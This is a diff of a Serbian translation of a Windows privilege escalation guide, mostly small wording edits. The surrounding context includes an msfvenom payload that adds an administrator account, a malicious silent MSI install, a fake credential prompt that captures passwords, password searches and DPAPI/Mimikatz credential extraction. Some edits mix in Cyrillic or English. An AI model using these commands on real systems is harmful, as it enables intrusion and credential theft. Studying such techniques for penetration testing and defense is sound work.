@@ -178,11 +178,11 @@ CTX_WSUSpect_White_Paper (1).pdf
**WSUS CVE-2020-1013**
[**Pročitajte kompletan izveštaj ovde**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
-U suštini, ovo je greška koju ovaj bug iskorišćava:
+U suštini, ovo je greška koju ovaj bug koristi:
-> Ako imamo moć da modifikujemo naš lokalni korisnički proxy, a Windows ažuriranja koriste proxy konfigurisan u podešavanjima Internet Explorera, stoga imamo moć da pokrenemo [PyWSUS](https://github.com/GoSecure/pywsus) lokalno kako bismo presreli naš vlastiti saobraćaj i izvršili kod kao uzvišeni korisnik na našem resursu.
+> Ako imamo moć da modifikujemo naš lokalni korisnički proxy, a Windows Ažuriranja koriste proxy konfigurisan u podešavanjima Internet Explorera, stoga imamo moć da pokrenemo [PyWSUS](https://github.com/GoSecure/pywsus) lokalno kako bismo presreli naš vlastiti saobraćaj i izvršili kod kao privilegovani korisnik na našem resursu.
>
-> Štaviše, pošto WSUS servis koristi podešavanja trenutnog korisnika, takođe će koristiti njegov skladište sertifikata. Ako generišemo samopotpisani sertifikat za WSUS ime hosta i dodamo ovaj sertifikat u skladište sertifikata trenutnog korisnika, moći ćemo da presretnemo i HTTP i HTTPS WSUS saobraćaj. WSUS ne koristi HSTS-mehanizme za implementaciju validacije tipa trust-on-first-use na sertifikatu. Ako je sertifikat koji se prikazuje poverljiv od strane korisnika i ima ispravno ime hosta, biće prihvaćen od strane servisa.
+> Štaviše, pošto WSUS servis koristi podešavanja trenutnog korisnika, takođe će koristiti njegov skladište sertifikata. Ako generišemo samopotpisani sertifikat za WSUS ime hosta i dodamo ovaj sertifikat u skladište sertifikata trenutnog korisnika, moći ćemo da presretnemo i HTTP i HTTPS WSUS saobraćaj. WSUS ne koristi HSTS-mehanizme za implementaciju validacije tipa poverenje-prvi-put na sertifikat. Ako je sertifikat koji se prikazuje poverljiv od strane korisnika i ima ispravno ime hosta, biće prihvaćen od strane servisa.
Možete iskoristiti ovu ranjivost koristeći alat [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (kada bude oslobođen).
@@ -210,7 +210,7 @@ Ako imate meterpreter sesiju, možete automatizovati ovu tehniku koristeći modu
### PowerUP
-Koristite komandu `Write-UserAddMSI` iz power-up da kreirate unutar trenutnog direktorijuma Windows MSI binarni fajl za eskalaciju privilegija. Ovaj skript generiše unapred kompajlirani MSI instalater koji traži dodatak korisnika/grupe (tako da će vam biti potreban GIU pristup):
+Koristite komandu `Write-UserAddMSI` iz power-up da kreirate unutar trenutnog direktorijuma Windows MSI binarni fajl za eskalaciju privilegija. Ovaj skript generiše prekompajlirani MSI instalater koji traži dodatak korisnika/grupe (tako da će vam biti potreban GIU pristup):
```
Write-UserAddMSI
```
@@ -234,7 +234,7 @@ create-msi-with-wix.md
- **Generišite** sa Cobalt Strike ili Metasploit **novi Windows EXE TCP payload** u `C:\privesc\beacon.exe`
- Otvorite **Visual Studio**, izaberite **Kreirajte novi projekat** i otkucajte "installer" u pretraživaču. Izaberite projekat **Setup Wizard** i kliknite **Next**.
-- Dajte projektu ime, kao što je **AlwaysPrivesc**, koristite **`C:\privesc`** za lokaciju, izaberite **postavite rešenje i projekat u istom direktorijumu**, i kliknite **Kreiraj**.
+- Dajte projektu ime, kao što je **AlwaysPrivesc**, koristite **`C:\privesc`** za lokaciju, izaberite **postavite rešenje i projekat u istom direktorijumu**, i kliknite **Create**.
- Nastavite da klikćete **Next** dok ne dođete do koraka 3 od 4 (izaberite fajlove za uključivanje). Kliknite **Add** i izaberite Beacon payload koji ste upravo generisali. Zatim kliknite **Finish**.
- Istaknite projekat **AlwaysPrivesc** u **Solution Explorer** i u **Properties**, promenite **TargetPlatform** sa **x86** na **x64**.
- Postoje i druge osobine koje možete promeniti, kao što su **Autor** i **Proizvođač** koje mogu učiniti instaliranu aplikaciju izgledom legitimnijom.
@@ -253,9 +253,9 @@ msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
```
Da biste iskoristili ovu ranjivost, možete koristiti: _exploit/windows/local/always_install_elevated_
-## Antivirus i detektori
+## Antivirus i Detektori
-### Podešavanja revizije
+### Podešavanja Revizije
Ova podešavanja odlučuju šta se **beleži**, pa treba obratiti pažnju
```
@@ -263,13 +263,13 @@ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
```
### WEF
-Windows Event Forwarding, zanimljivo je znati gde se šalju logovi
+Windows Event Forwarding, je zanimljivo znati gde se šalju logovi
```bash
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
```
### LAPS
-**LAPS** je dizajniran za **upravljanje lokalnim Administrator lozinkama**, osiguravajući da su svaka lozinka **jedinstvena, nasumična i redovno ažurirana** na računarima koji su pridruženi domenu. Ove lozinke se sigurno čuvaju unutar Active Directory-a i mogu im pristupiti samo korisnici kojima su dodeljene dovoljne dozvole putem ACL-a, omogućavajući im da vide lokalne admin lozinke ako su ovlašćeni.
+**LAPS** je dizajniran za **upravljanje lokalnim Administrator lozinkama**, osiguravajući da su svaka lozinka **jedinstvena, nasumična i redovno ažurirana** na računarima pridruženim domeni. Ove lozinke se sigurno čuvaju unutar Active Directory-a i mogu im pristupiti samo korisnici kojima su dodeljene dovoljne dozvole putem ACL-a, omogućavajući im da vide lokalne admin lozinke ako su ovlašćeni.
{{#ref}}
../active-directory-methodology/laps.md
@@ -297,7 +297,7 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
### Cached Credentials
-**Domen credentials** se autentifikuju od strane **Lokalne bezbednosne vlasti** (LSA) i koriste ih komponente operativnog sistema. Kada se podaci za prijavu korisnika autentifikuju od strane registrovanog bezbednosnog paketa, domen credentials za korisnika se obično uspostavljaju.\
+**Domen credentials** se autentifikuju od strane **Lokalne bezbednosne vlasti** (LSA) i koriste ih komponente operativnog sistema. Kada se podaci o prijavljivanju korisnika autentifikuju od strane registrovanog bezbednosnog paketa, domen credentials za korisnika se obično uspostavljaju.\
[**Više informacija o Cached Credentials ovde**](../stealing-credentials/credentials-protections.md#cached-credentials).
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
@@ -372,9 +372,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```
-Uvek proverite moguće [**electron/cef/chromium debuggers** koji rade, mogli biste to iskoristiti za eskalaciju privilegija](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
+Uvek proveravajte moguće [**electron/cef/chromium debuggers** koji rade, mogli biste to iskoristiti za eskalaciju privilegija](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
-**Proveravanje dozvola binarnih datoteka procesa**
+**Proveravanje dozvola binarnih fajlova procesa**
```bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
@@ -401,11 +401,11 @@ procdump.exe -accepteula -ma
**Aplikacije koje se pokreću kao SYSTEM mogu omogućiti korisniku da pokrene CMD ili pretražuje direktorijume.**
-Primer: "Windows Help and Support" (Windows + F1), pretražiti "command prompt", kliknuti na "Click to open Command Prompt"
+Primer: "Windows Help and Support" (Windows + F1), pretražite "command prompt", kliknite na "Click to open Command Prompt"
## Services
-Dobijte listu servisa:
+Get a list of services:
```bash
net start
wmic service list brief
@@ -422,7 +422,7 @@ Preporučuje se da imate binarni **accesschk** iz _Sysinternals_ da biste prover
```bash
accesschk.exe -ucqv #Check rights for different groups
```
-Preporučuje se da se proveri da li "Authenticated Users" mogu da modifikuju bilo koju uslugu:
+Preporučuje se da se proveri da li "Autentifikovani korisnici" mogu da modifikuju bilo koju uslugu:
```bash
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
@@ -435,8 +435,8 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
Ako imate ovu grešku (na primer sa SSDPSRV):
-_Sistem error 1058 se dogodio._\
-_TServis ne može biti pokrenut, ili zato što je on onemogućen ili zato što nema omogućenih uređaja povezanih sa njim._
+_Sistemска greška 1058 se dogodila._\
+_Servis ne može da se pokrene, ili zato što je on onemogućen ili zato što nema omogućene uređaje povezane sa njim._
Možete ga omogućiti koristeći
```bash
@@ -445,7 +445,7 @@ sc config SSDPSRV obj= ".\LocalSystem" password= ""
```
**Uzmite u obzir da servis upnphost zavisi od SSDPSRV da bi radio (za XP SP1)**
-**Druga alternativa** ovom problemu je pokretanje:
+**Druga alternativa** ovog problema je pokretanje:
```
sc.exe config usosvc start= auto
```
@@ -491,8 +491,8 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >>
```
### Services registry modify permissions
-Trebalo bi da proverite da li možete da modifikujete bilo koju uslugu u registru.\
-Možete **proveriti** svoje **dozvole** nad uslugom **registrija** tako što ćete:
+Trebalo bi da proverite da li možete da modifikujete bilo koju uslugu registrovanja.\
+Možete **proveriti** svoje **dozvole** nad uslugom **registrovanja** tako što ćete:
```bash
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
@@ -551,7 +551,7 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex
```
### Recovery Actions
-Windows omogućava korisnicima da odrede akcije koje će se preduzeti ako usluga ne uspe. Ova funkcija se može konfigurisati da upućuje na binarni fajl. Ako je ovaj binarni fajl zamenljiv, eskalacija privilegija može biti moguća. Više detalja možete pronaći u [official documentation]().
+Windows omogućava korisnicima da odrede akcije koje će se preduzeti ako usluga ne uspe. Ova funkcija može biti konfigurisana da upućuje na binarni fajl. Ako je ovaj binarni fajl zamenljiv, eskalacija privilegija može biti moguća. Više detalja može se naći u [official documentation]().
## Applications
@@ -568,7 +568,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```
### Dozvole za pisanje
-Proverite da li možete da modifikujete neki konfiguracioni fajl da biste pročitali neki specijalan fajl ili da li možete da modifikujete neki binarni fajl koji će biti izvršen od strane Administratorskog naloga (schedtasks).
+Proverite da li možete da izmenite neki konfiguracioni fajl da biste pročitali neki poseban fajl ili da li možete da izmenite neki binarni fajl koji će biti izvršen od strane Administratorskog naloga (schedtasks).
Jedan od načina da pronađete slabe dozvole za foldere/fajlove u sistemu je da uradite:
```bash
@@ -612,7 +612,7 @@ driverquery /SI
```
## PATH DLL Hijacking
-Ako imate **dozvole za pisanje unutar fascikle koja se nalazi na PATH-u**, mogli biste biti u mogućnosti da preuzmete DLL koji učitava proces i **povećate privilegije**.
+Ako imate **dozvole za pisanje unutar fascikle koja se nalazi na PATH-u**, mogli biste da preuzmete DLL koji učitava proces i **povećate privilegije**.
Proverite dozvole svih fascikli unutar PATH-a:
```bash
@@ -640,13 +640,13 @@ Proverite za druge poznate računare koji su hardkodirani u hosts datoteci
```
type C:\Windows\System32\drivers\etc\hosts
```
-### Mrežne Interfejsi & DNS
+### Mrežne Interfejse & DNS
```
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
```
-### Otvoreni portovi
+### Open Ports
Proverite **ograničene usluge** sa spoljne strane
```bash
@@ -662,11 +662,11 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
```
-### Pravila vatrozida
+### Firewall pravila
-[**Pogledajte ovu stranicu za komande vezane za vatrozid**](../basic-cmd-for-pentesters.md#firewall) **(lista pravila, kreiranje pravila, isključivanje, isključivanje...)**
+[**Pogledajte ovu stranicu za komande vezane za Firewall**](../basic-cmd-for-pentesters.md#firewall) **(lista pravila, kreiranje pravila, isključivanje, isključivanje...)**
-Više[ komandi za enumeraciju mreže ovde](../basic-cmd-for-pentesters.md#network)
+Više[ komandi za mrežnu enumeraciju ovde](../basic-cmd-for-pentesters.md#network)
### Windows podsystem za Linux (wsl)
```bash
@@ -700,14 +700,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
```
-### Menadžer kredencijala / Windows trezor
+### Menadžer kredencijala / Windows vault
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
-Windows trezor čuva korisničke kredencijale za servere, veb sajtove i druge programe za koje **Windows** može **automatski da prijavi korisnike**. Na prvi pogled, ovo može izgledati kao da korisnici mogu da čuvaju svoje Facebook kredencijale, Twitter kredencijale, Gmail kredencijale itd., tako da se automatski prijavljuju putem pregledača. Ali to nije tako.
+Windows Vault čuva korisničke kredencijale za servere, veb sajtove i druge programe za koje **Windows** može **automatski da prijavi korisnike**. Na prvi pogled, ovo može izgledati kao da korisnici mogu da čuvaju svoje Facebook kredencijale, Twitter kredencijale, Gmail kredencijale itd., tako da se automatski prijavljuju putem pregledača. Ali to nije tako.
-Windows trezor čuva kredencijale koje Windows može automatski da prijavi korisnicima, što znači da svaka **Windows aplikacija koja treba kredencijale za pristup resursu** (serveru ili veb sajtu) **može koristiti ovaj Menadžer kredencijala** i Windows trezor i koristiti kredencijale koje su date umesto da korisnici stalno unose korisničko ime i lozinku.
+Windows Vault čuva kredencijale koje Windows može automatski da prijavi korisnicima, što znači da svaka **Windows aplikacija koja treba kredencijale za pristup resursu** (serveru ili veb sajtu) **može koristiti ovaj Menadžer kredencijala** & Windows Vault i koristiti kredencijale koje su dostavljene umesto da korisnici stalno unose korisničko ime i lozinku.
-Osim ako aplikacije ne komuniciraju sa Menadžerom kredencijala, ne mislim da je moguće da koriste kredencijale za dati resurs. Dakle, ako vaša aplikacija želi da koristi trezor, treba nekako **da komunicira sa menadžerom kredencijala i zatraži kredencijale za taj resurs** iz podrazumevanog skladišta trezora.
+Osim ako aplikacije ne komuniciraju sa Menadžerom kredencijala, ne mislim da je moguće da koriste kredencijale za dati resurs. Dakle, ako vaša aplikacija želi da koristi vault, treba nekako **da komunicira sa menadžerom kredencijala i zatraži kredencijale za taj resurs** iz podrazumevanog skladišta vault-a.
Koristite `cmdkey` da biste prikazali sačuvane kredencijale na mašini.
```bash
@@ -729,9 +729,9 @@ Napomena da mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/util
### DPAPI
-**Data Protection API (DPAPI)** pruža metodu za simetričnu enkripciju podataka, pretežno korišćenu unutar Windows operativnog sistema za simetričnu enkripciju asimetričnih privatnih ključeva. Ova enkripcija koristi tajnu korisnika ili sistema kako bi značajno doprinela entropiji.
+**Data Protection API (DPAPI)** pruža metodu za simetričnu enkripciju podataka, pretežno korišćenu unutar Windows operativnog sistema za simetričnu enkripciju asimetričnih privatnih ključeva. Ova enkripcija koristi korisničku ili sistemsku tajnu kako bi značajno doprinela entropiji.
-**DPAPI omogućava enkripciju ključeva putem simetričnog ključa koji se izvodi iz korisničkih prijavnih tajni**. U scenarijima koji uključuju enkripciju sistema, koristi tajne autentifikacije domena sistema.
+**DPAPI omogućava enkripciju ključeva putem simetričnog ključa koji se izvodi iz korisničkih prijavnih tajni**. U scenarijima koji uključuju sistemsku enkripciju, koristi tajne autentifikacije domena sistema.
Enkriptovani korisnički RSA ključevi, koristeći DPAPI, čuvaju se u `%APPDATA%\Microsoft\Protect\{SID}` direktorijumu, gde `{SID}` predstavlja korisnički [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **DPAPI ključ, koji se nalazi zajedno sa master ključem koji štiti korisničke privatne ključeve u istom fajlu**, obično se sastoji od 64 bajta nasumičnih podataka. (Važno je napomenuti da je pristup ovom direktorijumu ograničen, sprečavajući listanje njegovog sadržaja putem `dir` komande u CMD, iako se može listati putem PowerShell-a).
```powershell
@@ -792,18 +792,18 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
```
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
```
-Koristite **Mimikatz** `dpapi::rdg` modul sa odgovarajućim `/masterkey` za **dešifrovanje bilo kojih .rdg fajlova**\
+Koristite **Mimikatz** `dpapi::rdg` modul sa odgovarajućim `/masterkey` za **dešifrovanje bilo kojih .rdg datoteka**\
Možete **izvući mnoge DPAPI masterključeve** iz memorije pomoću Mimikatz `sekurlsa::dpapi` modula
### Sticky Notes
-Ljudi često koriste aplikaciju StickyNotes na Windows radnim stanicama da **sačuvaju lozinke** i druge informacije, ne shvatajući da je to fajl baze podataka. Ovaj fajl se nalazi na `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` i uvek vredi pretražiti i ispitati.
+Ljudi često koriste aplikaciju StickyNotes na Windows radnim stanicama da **sačuvaju lozinke** i druge informacije, ne shvatajući da je to datoteka baze podataka. Ova datoteka se nalazi na `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` i uvek vredi pretražiti i ispitati.
### AppCmd.exe
**Napomena da da biste povratili lozinke iz AppCmd.exe morate biti Administrator i raditi pod visokim integritetom.**\
**AppCmd.exe** se nalazi u `%systemroot%\system32\inetsrv\` direktorijumu.\
-Ako ovaj fajl postoji, moguće je da su neka **akreditivna** podešavanja konfigurisana i mogu se **povratiti**.
+Ako ova datoteka postoji, moguće je da su neka **akreditivna** podešavanja konfigurisana i mogu se **povratiti**.
Ovaj kod je izvučen iz [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
```bash
@@ -886,7 +886,7 @@ $ErrorActionPreference = $OrigError
### SCClient / SCCM
Proverite da li `C:\Windows\CCM\SCClient.exe` postoji.\
-Instalateri se **izvršavaju sa SYSTEM privilegijama**, mnogi su ranjivi na **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
+Instalateri se **izvršavaju sa SYSTEM privilegijama**, mnogi su ranjivi na **DLL Sideloading (Informacije iz** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
```bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
@@ -894,7 +894,7 @@ else { Write "Not Installed." }
```
## Datoteke i Registry (Akreditivi)
-### Putty akreditivi
+### Putty Akreditivi
```bash
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
```
@@ -916,7 +916,7 @@ Ako `ssh-agent` servis nije pokrenut i želite da se automatski pokrene pri podi
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
```
> [!NOTE]
-> Izgleda da ova tehnika više nije validna. Pokušao sam da kreiram neke ssh ključeve, dodam ih sa `ssh-add` i prijavim se putem ssh na mašinu. Registry HKCU\Software\OpenSSH\Agent\Keys ne postoji i procmon nije identifikovao korišćenje `dpapi.dll` tokom asimetrične autentifikacije ključeva.
+> Čini se da ova tehnika više nije validna. Pokušao sam da kreiram neke ssh ključeve, dodam ih sa `ssh-add` i prijavim se putem ssh na mašinu. Registry HKCU\Software\OpenSSH\Agent\Keys ne postoji i procmon nije identifikovao korišćenje `dpapi.dll` tokom asimetrične autentifikacije ključeva.
### Unattended files
```
@@ -976,9 +976,9 @@ AppData\Roaming\gcloud\access_tokens.db
Potražite datoteku pod nazivom **SiteList.xml**
-### Cached GPP Pasword
+### Keširana GPP lozinka
-Funkcija koja je ranije bila dostupna omogućila je implementaciju prilagođenih lokalnih administratorskih naloga na grupi mašina putem Group Policy Preferences (GPP). Međutim, ova metoda je imala značajne sigurnosne nedostatke. Prvo, Group Policy Objects (GPOs), smešteni kao XML datoteke u SYSVOL, mogli su biti dostupni bilo kojem korisniku domena. Drugo, lozinke unutar ovih GPP-a, šifrovane sa AES256 koristeći javno dokumentovani podrazumevani ključ, mogle su biti dešifrovane od strane bilo kog autentifikovanog korisnika. Ovo je predstavljalo ozbiljan rizik, jer je moglo omogućiti korisnicima da dobiju povišene privilegije.
+Prethodno je postojala funkcija koja je omogućavala implementaciju prilagođenih lokalnih administratorskih naloga na grupi mašina putem Group Policy Preferences (GPP). Međutim, ova metoda je imala značajne sigurnosne nedostatke. Prvo, Group Policy Objects (GPOs), smešteni kao XML datoteke u SYSVOL, mogli su biti dostupni bilo kojem korisniku domena. Drugo, lozinke unutar ovih GPP-a, šifrovane sa AES256 koristeći javno dokumentovani podrazumevani ključ, mogle su biti dešifrovane od strane bilo kog autentifikovanog korisnika. Ovo je predstavljalo ozbiljan rizik, jer je moglo omogućiti korisnicima da dobiju povišene privilegije.
Da bi se umanjio ovaj rizik, razvijena je funkcija koja skenira lokalno keširane GPP datoteke koje sadrže "cpassword" polje koje nije prazno. Kada pronađe takvu datoteku, funkcija dešifruje lozinku i vraća prilagođeni PowerShell objekat. Ovaj objekat uključuje detalje o GPP-u i lokaciji datoteke, pomažući u identifikaciji i otklanjanju ove sigurnosne ranjivosti.
@@ -1044,7 +1044,7 @@ $entropy,
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
```
-### Logovi
+### Логови
```bash
# IIS
C:\inetpub\logs\LogFiles\*
@@ -1054,7 +1054,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
```
### Ask for credentials
-Možete uvek **tražiti od korisnika da unese svoje akreditive ili čak akreditive drugog korisnika** ako mislite da ih može znati (imajte na umu da je **traženje** od klijenta direktno za **akreditive** zaista **rizično**):
+Možete uvek **zamoliti korisnika da unese svoje akreditive ili čak akreditive drugog korisnika** ako mislite da ih može znati (imajte na umu da je **direktno traženje** od klijenta za **akreditivima** zaista **rizično**):
```bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@@ -1139,9 +1139,9 @@ Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct
```
### Kredencijali u RecycleBin
-Trebalo bi da proverite i Kantu da potražite kredencijale unutar nje
+Trebalo bi da proverite i Kantu da potražite kredencijale unutar njega
-Da **povratite lozinke** sačuvane od strane nekoliko programa možete koristiti: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
+Da **oporavite lozinke** sačuvane od strane nekoliko programa možete koristiti: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
### Unutar registra
@@ -1192,7 +1192,7 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
```
-**Pretražite datoteku sa određenim imenom datoteke**
+**Pretražite datoteku sa određenim imenom**
```bash
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
@@ -1207,8 +1207,8 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
```
### Alati koji traže lozinke
-[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **je msf** plugin koji sam kreirao da **automatski izvrši svaki metasploit POST modul koji traži kredencijale** unutar žrtve.\
-[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatski traži sve datoteke koje sadrže lozinke pomenute na ovoj stranici.\
+[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **je msf** dodatak koji sam kreirao da **automatski izvrši svaki metasploit POST modul koji traži kredencijale** unutar žrtve.\
+[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatski pretražuje sve datoteke koje sadrže lozinke navedene na ovoj stranici.\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) je još jedan sjajan alat za ekstrakciju lozinki iz sistema.
Alat [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) traži **sesije**, **korisnička imena** i **lozinke** nekoliko alata koji čuvaju ove podatke u čistom tekstu (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP)
@@ -1231,7 +1231,7 @@ Deljeni memorijski segmenti, poznati kao **cevi**, omogućavaju komunikaciju izm
Windows pruža funkciju pod nazivom **Named Pipes**, koja omogućava nepovezanim procesima da dele podatke, čak i preko različitih mreža. Ovo podseća na arhitekturu klijent/server, sa ulogama definisanim kao **named pipe server** i **named pipe client**.
-Kada klijent šalje podatke kroz cev, **server** koji je postavio cev ima mogućnost da **preuzme identitet** **klijenta**, pod uslovom da ima potrebna **SeImpersonate** prava. Identifikovanje **privilegovane procesa** koja komunicira putem cevi koju možete imitirati pruža priliku da **dobijete više privilegije** usvajanjem identiteta tog procesa kada interaguje sa cevkom koju ste uspostavili. Za uputstva o izvršavanju takvog napada, korisni vodiči se mogu naći [**here**](named-pipe-client-impersonation.md) i [**here**](#from-high-integrity-to-system).
+Kada se podaci šalju kroz cev od strane **klijenta**, **server** koji je postavio cev ima mogućnost da **preuzme identitet** **klijenta**, pod uslovom da ima potrebna **SeImpersonate** prava. Identifikovanje **privilegovanog procesa** koji komunicira putem cevi koju možete imitirati pruža priliku da **dobijete više privilegije** preuzimanjem identiteta tog procesa kada interaguje sa cevkom koju ste uspostavili. Za uputstva o izvršavanju takvog napada, korisni vodiči se mogu naći [**here**](named-pipe-client-impersonation.md) i [**here**](#from-high-integrity-to-system).
Takođe, sledeći alat omogućava **presretanje komunikacije preko named pipe-a sa alatom kao što je burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **i ovaj alat omogućava da se prikažu i vide sve cevi kako bi se pronašli privesci** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
@@ -1335,19 +1335,19 @@ Iz procesa visokog integriteta možete pokušati da **omogućite AlwaysInstallEl
### Od SeDebug + SeImpersonate do punih Token privilegija
-Ako imate te token privilegije (verovatno ćete to pronaći u već postojećem procesu visokog integriteta), moći ćete da **otvorite gotovo bilo koji proces** (nezaštićene procese) sa SeDebug privilegijom, **kopirate token** procesa i kreirate **arbitrarni proces sa tim tokenom**.\
-Korišćenje ove tehnike obično **izabire bilo koji proces koji se izvršava kao SYSTEM sa svim token privilegijama** (_da, možete pronaći SYSTEM procese bez svih token privilegija_).\
+Ako imate te privilegije tokena (verovatno ćete to pronaći u već postojećem procesu visokog integriteta), moći ćete da **otvorite gotovo bilo koji proces** (nezaštićene procese) sa SeDebug privilegijom, **kopirate token** procesa i kreirate **arbitrarni proces sa tim tokenom**.\
+Korišćenje ove tehnike obično **izabire bilo koji proces koji se izvršava kao SYSTEM sa svim privilegijama tokena** (_da, možete pronaći SYSTEM procese bez svih privilegija tokena_).\
**Možete pronaći** [**primer koda koji izvršava predloženu tehniku ovde**](sedebug-+-seimpersonate-copy-token.md)**.**
### **Named Pipes**
-Ova tehnika se koristi od strane meterpreter-a za eskalaciju u `getsystem`. Tehnika se sastoji od **kreiranja cevi i zatim kreiranja/zloupotrebe usluge za pisanje na tu cev**. Zatim, **server** koji je kreirao cev koristeći **`SeImpersonate`** privilegiju će moći da **imituje token** klijenta cevi (uslugu) dobijajući SYSTEM privilegije.\
+Ova tehnika se koristi od strane meterpreter-a za eskalaciju u `getsystem`. Tehnika se sastoji od **kreiranja cevi i zatim kreiranja/zloupotrebe usluge za pisanje na tu cev**. Tada će **server** koji je kreirao cev koristeći **`SeImpersonate`** privilegiju moći da **imituje token** klijenta cevi (uslugu) dobijajući SYSTEM privilegije.\
Ako želite da [**saznate više o named pipes, trebate pročitati ovo**](#named-pipe-client-impersonation).\
Ako želite da pročitate primer [**kako preći sa visokog integriteta na System koristeći named pipes, trebate pročitati ovo**](from-high-integrity-to-system-with-name-pipes.md).
### Dll Hijacking
-Ako uspete da **zauzmete dll** koji se **učitava** od strane **procesa** koji se izvršava kao **SYSTEM**, moći ćete da izvršite arbitrarni kod sa tim dozvolama. Stoga je Dll Hijacking takođe koristan za ovu vrstu eskalacije privilegija, a, osim toga, daleko je **lakše postići iz procesa visokog integriteta** jer će imati **dozvole za pisanje** na folderima koji se koriste za učitavanje dll-ova.\
+Ako uspete da **zauzmete dll** koji se **učitava** od strane **procesa** koji se izvršava kao **SYSTEM**, moći ćete da izvršite proizvoljan kod sa tim dozvolama. Stoga je Dll Hijacking takođe koristan za ovu vrstu eskalacije privilegija, a, osim toga, daleko je **lakše postići iz procesa visokog integriteta** jer će imati **dozvole za pisanje** na folderima koji se koriste za učitavanje dll-ova.\
**Možete** [**saznati više o Dll hijacking-u ovde**](dll-hijacking/index.html)**.**
### **Od Administratora ili Mrežne Usluge do System**
@@ -1395,7 +1395,7 @@ https://github.com/sailay1996/RpcSsImpersonator
